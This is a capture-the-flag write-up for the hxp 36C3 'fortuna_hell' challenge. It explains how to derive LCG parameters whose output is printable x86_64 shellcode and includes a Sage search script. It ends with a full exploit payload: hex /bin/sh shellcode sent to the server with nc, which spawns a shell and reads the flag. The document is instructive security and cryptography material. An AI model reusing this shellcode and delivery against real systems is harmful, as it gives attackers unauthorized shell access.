hxp 36C3 CTF: fortuna_hell
crypto/pwn (769 points, 4 solves)
This challenge was a classical nonsensical shellcoding problem:
To solve it,
one had to find a linear congruential generator (LCG)
whose output is printable
x86_64 shellcode starting with the string hxp<3.
It seems that some teams made assumptions on the (randomized) register values in their shellcode and simply kept retrying their payload $2^{16}$ times, but there was actually at least one deterministic one-shot solution which I’ll show here.
Let’s first look at the full challenge binary (which was hand-crafted in assembly):
000000E8 31C0 xor eax,eax
000000EA FEC0 inc al
000000EC 48C1E023 shl rax,byte 0x23
000000F0 48FFC8 dec rax
000000F3 48C1E00C shl rax,byte 0xc
000000F7 480FC7F7 rdrand rdi
000000FB 4821C7 and rdi,rax
000000FE 31F6 xor esi,esi
00000100 FFC6 inc esi
00000102 C1E60C shl esi,byte 0xc
00000105 400FB6D6 movzx edx,sil
00000109 21D0 and eax,edx
0000010B 80F207 xor dl,0x7
0000010E 6A22 push byte +0x22
00000110 50 push rax
00000111 50 push rax
00000112 4158 pop r8
00000114 0C09 or al,0x9
00000116 4159 pop r9
00000118 49F7D0 not r8
0000011B 4989FF mov r15,rdi
0000011E 415A pop r10
00000120 0F05 syscall ; mmap()
00000122 31C0 xor eax,eax
00000124 99 cdq
00000125 89D7 mov edi,edx
00000127 80F220 xor dl,0x20
0000012A 4829D4 sub rsp,rdx
0000012D 4889E6 mov rsi,rsp
00000130 0F05 syscall ; read()
00000132 FC cld
00000133 C1F805 sar eax,byte 0x5
00000136 FFC8 dec eax
00000138 7554 jnz 0x18e
0000013A 4C89FF mov rdi,r15
0000013D B8490FC7F7 mov eax,0xf7c70f49 ; this is rdrand r15
00000142 AB stosd
00000143 5D pop rbp ; m
00000144 5B pop rbx ; a
00000145 59 pop rcx ; b
00000146 58 pop rax ; x
00000147 4D31C0 xor r8,r8
0000014A 49FFC0 inc r8
0000014D 49C1E028 shl r8,byte 0x28
00000151 49FFC8 dec r8
00000154 4C8B0DADFEFFFF mov r9,[rel 0x8] ; "hxp<3you" in ELF header
0000015B 48F7E3 mul rbx
0000015E 4801C8 add rax,rcx
00000161 4883D200 adc rdx,byte +0x0
00000165 48F7F5 div rbp
00000168 4929D1 sub r9,rdx
0000016B 4D21C8 and r8,r9
0000016E 751E jnz 0x18e
00000170 4889D0 mov rax,rdx
00000173 40B608 mov sil,0x8
00000176 3C20 cmp al,0x20
00000178 7213 jc 0x18d
0000017A 3C7E cmp al,0x7e
0000017C 770F ja 0x18d
0000017E AA stosb
0000017F 48C1E808 shr rax,byte 0x8
00000183 40FECE dec sil
00000186 75EE jnz 0x176
00000188 4889D0 mov rax,rdx
0000018B EBCE jmp short 0x15b
0000018D B0CC mov al,0xcc ; also int3 at 0x18e
0000018F AA stosb
00000190 480FC7F0 rdrand rax
00000194 480FC7F1 rdrand rcx
00000198 480FC7F2 rdrand rdx
0000019C 480FC7F3 rdrand rbx
000001A0 4C89FC mov rsp,r15
000001A3 48C1EC0C shr rsp,byte 0xc
000001A7 48FFC4 inc rsp
000001AA 48C1E40C shl rsp,byte 0xc
000001AE 480FC7F5 rdrand rbp
000001B2 480FC7F6 rdrand rsi
000001B6 480FC7F7 rdrand rdi
000001BA 490FC7F0 rdrand r8
000001BE 490FC7F1 rdrand r9
000001C2 490FC7F2 rdrand r10
000001C6 490FC7F3 rdrand r11
000001CA 490FC7F4 rdrand r12
000001CE 490FC7F5 rdrand r13
000001D2 490FC7F6 rdrand r14
000001D6 41FFE7 jmp r15
In a nutshell, the server reads the LCG parameters $m$, $a$, $b$, $x$,
all 64-bit integers, and then proceeds to write the LCG’s output to an
rwx page, until it encounters a byte that is not between 0x20
and 0x7e. It then appends an int3 instruction and sets up a new stack
at the end of the same page, randomizes all the registers, and finally
jumps to the beginning of the shellcode.
Assuming for a moment that we already have a good shellcode, how do we
find an LCG that outputs it? This is a
well-known problem
(at least among CTF cryptographers/reversers, I suppose),
and boils down to some simple arithmetic and linear algebra.
The bigger problem is that in our case, it is quite unlikely that some
random old shellcode will be the output of a LCG!
For example, information-theoretically, we clearly have only 32 bytes of
freedom to play with (and smaller moduli actually render some of the other
information redundant), so most byte strings of length $>32$ are
exceedingly unlikely to come from a LCG.
Furthermore, having e.g. a byte 0xff at offset 7 and a modulus
smaller than 0xff00000000000001 will make it impossible to ever
output that byte at that position.
These things together mean that we need to (1) minimize the length of
our shellcode, and (2) still make sure we have enough freedom to brute-force
through “many” shellcodes in case we picked a bad one that doesn’t come
from an LCG.
After a few rounds of optimizations, the shellcode we came up with is:
push 0x333c7078
push rsp
pop rax
sub al, 0x40
push rax
pop rsp
push rsp /* sp */
sub al, 0x40
push rax
pop rsi
push 0x252f787f
pop rax
xor eax, 0x20202020
push rax
pop rdx
pop rax /* sp */
pop rbx /* dummy, will be changed by the add [rax],al along the way */
.byte 0x75 /* jnz imm8 */
There are a few things to notice here:
- This sets up another
read()onto the stack and executes the shellcode it receives. - The length is 33 bytes — it is a priori rather unlikely that this shellcode is the output of an LCG (and in fact it’s not).
- We have quite a bit of freedom in the XOR mask
0x20202020: The only requirement is that the constant0x252f787fpushed before and the XOR mask are both printable and their XOR equals0x050f585f, which corresponds to the assembly instructionspop rdi; pop rax; syscall. - There is a little bit more freedom in the
0x40constant, but exploiting that turned out to be unnecessary. - In order to survive the
0xccbyte (int3instruction) that’s being appended and safely fall through into lots of zero bytes (mov [rax], al), we require the following constraints on the bytes following the shellcode above: The first byte after the0x75byte must be printable and odd. and the byte following that must be non-printable.
This makes sure thejnzat the end of the shellcode turns into a short jump “a few” bytes ahead, such that the zero bytes on therwxpage turn into many harmlessadd [rax], alinstructions and falls through cleanly into the shellcode pushed onto the stack at the end of the page earlier. The condition that the following byte be non-printable is perhaps not strictly necessary, but makes sure to terminate the shellcode at that point, which seemed reasonable at the time.
Mathematically, it is convenient to express the problem of finding an LCG that produces a specific output as a matrix: If the four first output values should be $z_0,z_1,z_2,z_3$, we are trying to find LCG parameters $m,a,b$ such that \[ \underbrace{\begin{pmatrix} z_0 & 1 & z_1 \\ z_1 & 1 & z_2 \\ z_2 & 1 & z_3 \end{pmatrix}}_{=:M} \cdot \begin{pmatrix} a \\ b \\ -1 \end{pmatrix} \equiv 0 \pmod m \,\text. \]
In other words, we are looking for a divisor $m\mid{\det M}$ and a vector $v$ of the form $(a,\,b,\,{-1})$ in the (right) kernel of the matrix $M$ modulo $m$. If the modulus $m$ is greater than all target values $z_0,…,z_3$, the output values will be correct not only modulo $m$, but as integers, and we’re done.
We thus proceed as follows: Iterate through many choices of semantically equivalent, short shellcode; for each of them write down the matrix $M$; factor its determinant; and hope that the determinant has a divisor bigger than all $z_i$ to figure out LCG parameters. Then compute the next two output bytes and check if they satisfy the constraints mentioned above; else retry. Here’s a sage implementation of this search step:
#!/usr/bin/env sage
import struct, itertools
hx = '{:016x}'.format
printable = range(0x20,0x7f)
template = '6878703c3354582c40505c542c40505e68{}5835{}505a585b75'
def xorpairs():
t = '5f580f05'.decode('hex')
for d0 in printable[1:]:
for d1 in printable[1:]:
for d2 in printable[1:]:
for d3 in printable:
ds = d0,d1,d2,d3
x = ''.join(chr(ds[i]) for i in range(4))
y = ''.join(chr(ord(t[i])^^ds[i]) for i in range(4))
if all(ord(b) in printable for b in y):
yield (x, y)
cnt = 0
for x,y in xorpairs():
cnt += 1
shc = template.format(x.encode('hex'), y.encode('hex')).replace(' ','').decode('hex')
assert all(ord(b) in printable for b in shc)
x = [struct.unpack('<Q', shc[i:i+8].ljust(8,b'\0'))[0] for i in range(0, len(shc), 8)]
print('\x1b[35m{:6}\x1b[0m \x1b[33m{}\x1b[0m'.format(cnt, ' '.join(map(hx, x))))
x = x[:4]
A = matrix([
[x0, 1, x1]
for x0, x1 in zip(x, x[1:])
])
for d in A.det().divisors():
if max(x) < d < 2**64:
m = d
break
else:
continue
print(' m = \x1b[34m{}\x1b[0m'.format(hx(m)))
r = vector(A[:,-1])
A = A.change_ring(Zmod(m))[:,:2]
try:
a, b = A.solve_right(r)
except ValueError:
continue
if not a.is_unit():
continue
assert a * x[0] + b == x[1]
assert a * x[1] + b == x[2]
assert a * x[2] + b == x[3]
nxt = ZZ(a * x[3] + b)
if nxt & 0xff not in printable or not (nxt & 1) or (nxt >> 8) & 0xff in printable:
continue
print(' a = \x1b[34m{}\x1b[0m'.format(hx(ZZ(a))))
print(' b = \x1b[34m{}\x1b[0m'.format(hx(ZZ(b))))
y = (x[0] - b) / a
m,a,b,y = map(ZZ,(m,a,b,y))
print(' --> \x1b[36m{}\x1b[0m'.format(' '.join(map('{:#018x}'.format, (m, a, b, y)))))
print(' next: \x1b[31m{}\x1b[0m'.format(hx(nxt)))
print(' --> \x1b[32m{}\x1b[0m'.format(struct.pack('<QQQQ', m, a, b, y).encode('hex')))
break
Running this script prints:
1 2c5854333c707868 5e50402c545c5040 7e35582021212168 755b585a50252e79
2 2c5854333c707868 5e50402c545c5040 7e35582121212168 755b585a50242e79
3 2c5854333c707868 5e50402c545c5040 7e35582221212168 755b585a50272e79
4 2c5854333c707868 5e50402c545c5040 7e35582321212168 755b585a50262e79
5 2c5854333c707868 5e50402c545c5040 7e35582421212168 755b585a50212e79
6 2c5854333c707868 5e50402c545c5040 7e35582521212168 755b585a50202e79
m = 9522d2dfc05020e8
7 2c5854333c707868 5e50402c545c5040 7e35582621212168 755b585a50232e79
8 2c5854333c707868 5e50402c545c5040 7e35582721212168 755b585a50222e79
9 2c5854333c707868 5e50402c545c5040 7e35582821212168 755b585a502d2e79
m = d40453a3f47a1f04
10 2c5854333c707868 5e50402c545c5040 7e35582921212168 755b585a502c2e79
11 2c5854333c707868 5e50402c545c5040 7e35582a21212168 755b585a502f2e79
12 2c5854333c707868 5e50402c545c5040 7e35582b21212168 755b585a502e2e79
m = bbfe8e2c23a15b7a
13 2c5854333c707868 5e50402c545c5040 7e35582c21212168 755b585a50292e79
m = b64342ba119069ae
14 2c5854333c707868 5e50402c545c5040 7e35582d21212168 755b585a50282e79
15 2c5854333c707868 5e50402c545c5040 7e35582e21212168 755b585a502b2e79
16 2c5854333c707868 5e50402c545c5040 7e35582f21212168 755b585a502a2e79
17 2c5854333c707868 5e50402c545c5040 7e35583021212168 755b585a50352e79
m = a581933e8db229d3
18 2c5854333c707868 5e50402c545c5040 7e35583121212168 755b585a50342e79
19 2c5854333c707868 5e50402c545c5040 7e35583221212168 755b585a50372e79
20 2c5854333c707868 5e50402c545c5040 7e35583321212168 755b585a50362e79
21 2c5854333c707868 5e50402c545c5040 7e35583421212168 755b585a50312e79
22 2c5854333c707868 5e50402c545c5040 7e35583521212168 755b585a50302e79
23 2c5854333c707868 5e50402c545c5040 7e35583621212168 755b585a50332e79
24 2c5854333c707868 5e50402c545c5040 7e35583721212168 755b585a50322e79
25 2c5854333c707868 5e50402c545c5040 7e35583821212168 755b585a503d2e79
26 2c5854333c707868 5e50402c545c5040 7e35583921212168 755b585a503c2e79
27 2c5854333c707868 5e50402c545c5040 7e35583a21212168 755b585a503f2e79
28 2c5854333c707868 5e50402c545c5040 7e35583b21212168 755b585a503e2e79
29 2c5854333c707868 5e50402c545c5040 7e35583c21212168 755b585a50392e79
30 2c5854333c707868 5e50402c545c5040 7e35583d21212168 755b585a50382e79
31 2c5854333c707868 5e50402c545c5040 7e35583e21212168 755b585a503b2e79
32 2c5854333c707868 5e50402c545c5040 7e35583f21212168 755b585a503a2e79
m = 7f4089f2b82d7a74
33 2c5854333c707868 5e50402c545c5040 7e35584021212168 755b585a50452e79
34 2c5854333c707868 5e50402c545c5040 7e35584121212168 755b585a50442e79
m = 861d118642fa2edb
35 2c5854333c707868 5e50402c545c5040 7e35584221212168 755b585a50472e79
36 2c5854333c707868 5e50402c545c5040 7e35584321212168 755b585a50462e79
37 2c5854333c707868 5e50402c545c5040 7e35584421212168 755b585a50412e79
38 2c5854333c707868 5e50402c545c5040 7e35584521212168 755b585a50402e79
m = dc6feb448a70a1e2
39 2c5854333c707868 5e50402c545c5040 7e35584621212168 755b585a50432e79
40 2c5854333c707868 5e50402c545c5040 7e35584721212168 755b585a50422e79
41 2c5854333c707868 5e50402c545c5040 7e35584821212168 755b585a504d2e79
42 2c5854333c707868 5e50402c545c5040 7e35584921212168 755b585a504c2e79
43 2c5854333c707868 5e50402c545c5040 7e35584a21212168 755b585a504f2e79
44 2c5854333c707868 5e50402c545c5040 7e35584b21212168 755b585a504e2e79
m = 84582fbb9aef5aa6
45 2c5854333c707868 5e50402c545c5040 7e35584c21212168 755b585a50492e79
46 2c5854333c707868 5e50402c545c5040 7e35584d21212168 755b585a50482e79
47 2c5854333c707868 5e50402c545c5040 7e35584e21212168 755b585a504b2e79
48 2c5854333c707868 5e50402c545c5040 7e35584f21212168 755b585a504a2e79
m = a3b609ee2ef85908
49 2c5854333c707868 5e50402c545c5040 7e35585021212168 755b585a50552e79
50 2c5854333c707868 5e50402c545c5040 7e35585121212168 755b585a50542e79
m = 875c15df8d7f7578
51 2c5854333c707868 5e50402c545c5040 7e35585221212168 755b585a50572e79
52 2c5854333c707868 5e50402c545c5040 7e35585321212168 755b585a50562e79
m = 98961f174cbf8bd4
53 2c5854333c707868 5e50402c545c5040 7e35585421212168 755b585a50512e79
m = 95b71a28be59f86c
54 2c5854333c707868 5e50402c545c5040 7e35585521212168 755b585a50502e79
m = 7e68d45d41f57b17
55 2c5854333c707868 5e50402c545c5040 7e35585621212168 755b585a50532e79
56 2c5854333c707868 5e50402c545c5040 7e35585721212168 755b585a50522e79
57 2c5854333c707868 5e50402c545c5040 7e35585821212168 755b585a505d2e79
m = 7f9fe8ac2258e4e4
58 2c5854333c707868 5e50402c545c5040 7e35585921212168 755b585a505c2e79
59 2c5854333c707868 5e50402c545c5040 7e35585a21212168 755b585a505f2e79
m = b26c3418ab1586fa
60 2c5854333c707868 5e50402c545c5040 7e35585b21212168 755b585a505e2e79
61 2c5854333c707868 5e50402c545c5040 7e35585c21212168 755b585a50592e79
m = 92b859b334e18e53
62 2c5854333c707868 5e50402c545c5040 7e35585d21212168 755b585a50582e79
63 2c5854333c707868 5e50402c545c5040 7e35585e21212168 755b585a505b2e79
64 2c5854333c707868 5e50402c545c5040 7e35585f21212168 755b585a505a2e79
65 2c5854333c707868 5e50402c545c5040 7e35586021212168 755b585a50652e79
m = 94362c500f581da8
66 2c5854333c707868 5e50402c545c5040 7e35586121212168 755b585a50642e79
67 2c5854333c707868 5e50402c545c5040 7e35586221212168 755b585a50672e79
68 2c5854333c707868 5e50402c545c5040 7e35586321212168 755b585a50662e79
69 2c5854333c707868 5e50402c545c5040 7e35586421212168 755b585a50612e79
70 2c5854333c707868 5e50402c545c5040 7e35586521212168 755b585a50602e79
71 2c5854333c707868 5e50402c545c5040 7e35586621212168 755b585a50632e79
m = a12a61b13a0aab69
72 2c5854333c707868 5e50402c545c5040 7e35586721212168 755b585a50622e79
73 2c5854333c707868 5e50402c545c5040 7e35586821212168 755b585a506d2e79
74 2c5854333c707868 5e50402c545c5040 7e35586921212168 755b585a506c2e79
m = 8527a7a41e83d8e4
75 2c5854333c707868 5e50402c545c5040 7e35586a21212168 755b585a506f2e79
76 2c5854333c707868 5e50402c545c5040 7e35586b21212168 755b585a506e2e79
77 2c5854333c707868 5e50402c545c5040 7e35586c21212168 755b585a50692e79
m = 8510ab62a60f6d7d
78 2c5854333c707868 5e50402c545c5040 7e35586d21212168 755b585a50682e79
m = 7e4f3067d5779988
79 2c5854333c707868 5e50402c545c5040 7e35586e21212168 755b585a506b2e79
80 2c5854333c707868 5e50402c545c5040 7e35586f21212168 755b585a506a2e79
81 2c5854333c707868 5e50402c545c5040 7e35587021212168 755b585a50752e79
82 2c5854333c707868 5e50402c545c5040 7e35587121212168 755b585a50742e79
83 2c5854333c707868 5e50402c545c5040 7e35587221212168 755b585a50772e79
m = b7aaca0e4998cc2d
a = a8238280c18b0b53
b = 570cdd203c6dc6dd
--> 0xb7aaca0e4998cc2d 0xa8238280c18b0b53 0x570cdd203c6dc6dd 0x39d4ef315060330b
next: 1ffe27f913cce059
--> 2dcc98490ecaaab7530b8bc1808223a8ddc66d3c20dd0c570b33605031efd439
The last line is the hex-encoded data that we need to send to the server
to get it to run our shellcode.
After this, we can simply send basic x86_64 /bin/sh shellcode to execute
a shell.
The final payload thus reads:
2dcc98490ecaaab7530b8bc1808223a8ddc66d3c20dd0c570b33605031efd439
488d3d0900000031c099b03b31f60f052f62696e2f73680090909090909090909090909090909090909090909090909090909090909090909090909090909090ebbe
(The first line are 32 bytes of LCG parameters, the second is the second-stage shellcode.) With this, we can get the flag:
$ (echo 2dcc98490ecaaab7530b8bc1808223a8ddc66d3c20dd0c570b33605031efd439488d3d0900000031c099b03b31f60f052f62696e2f73680090909090909090909090909090909090909090909090909090909090909090909090909090909090ebbe | xxd -r -p; sleep 1; echo 'id; ls -l; cat flag*; exit') | nc $SERVER_IP 6666
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
total 8
-r--r--r-- 1 root root 70 Dec 4 22:51 flag_8qk62bBOAwioWya2.txt
-r-xr-xr-x 1 root root 473 Apr 4 2019 vuln
hxp{w0W_y0u_mu5T_b3_pr3TtY_LUckY!_0r_m4yB3_jU5t_g00D_w1tH_C0mPUt0rz?}
$